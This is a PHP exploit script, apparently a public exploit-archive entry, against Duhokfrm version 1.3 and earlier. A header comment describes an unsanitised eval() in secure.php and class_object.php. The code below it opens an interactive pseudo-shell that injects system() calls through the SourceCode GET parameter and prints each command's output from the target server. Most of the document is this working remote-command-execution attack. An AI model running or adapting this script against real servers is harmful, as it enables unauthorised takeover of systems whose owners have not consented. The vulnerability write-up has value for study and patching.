Duhokfrm <= 1.3 (php code injection) RCE

<?php
/*
    -----------------------------------------------------------------
    Duhokfrm  <= 1.3 Remote Command Execution
    -----------------------------------------------------------------

    author...........: Black-ID
    mail.............: dzcoder[at]hotmail[dot]fr
    software link....: n/a

    Remote command execution via php code injection

[-] Vulnerability Description:

The vulnerable code is located in secure.php

.142 if (!URLmode) eval($CasePages->descute_mode());

The vulnerable code is located in cp_inc\class_object.php

.468 function descute_mode()
.469 {
.470     extract($GLOBALS);
.471 // loop the system php
.472     foreach ($this->condition AS $Urls => $File)
.473         {
.474         // get the exists of file
.475             $this->exists_file($File);
.476            // system condition if
.477             $SourceCode .= 'if ('.$Urls.'){require_once("'.$File.'");require("footer.php");' .
.478            '$URLChange->EnableChangeURL($config["parametre"]["change_url"]);exit;}';
.479         }
.480     // return of the eval the code
.481     return $SourceCode;
.482 }

User supplied input passed through the $SourceCode parameter is not properly
sanitized before being used in a eval() call  at line 142 and descute_mode function at line 468-482.
This can be exploited to inject and execute execute semi-arbitrary PHP code. Successful exploitation of
this vulnerability requires parameter conatain no spaces.


*/
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{

    if (($sock = fsockopen($host, 80))){
    fputs($sock, $packet);
    return stream_get_contents($sock);
    }
}
print "\n+------------------------------------------------------------------+";
print "\n| Duhokfrm  <= 1.3 Remote Command Execution By Black-ID            |";
print "\n+------------------------------------------------------------------+\n";
if ($argc < 2)
{
    print "\nUsage......: php $argv[0] host path/ \n";
    print "\nExample....: php $argv[0] localhost duhokfrm/ \n";
    die();
}

    $host = $argv[1];
    $path = $argv[2];

while(1)
{
    print "\nduhokfrm-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    $packet  = "GET /{$path}index.php?mode=f&SourceCode=error_reporting(0);print(___);system($cmd);die; HTTP/1.1\r\n";
    $packet .= "Host: {$host}\r\n";
    $packet .= "Connection: close\r\n\r\n";
    $response = http_send($host,$packet);
    preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}
?>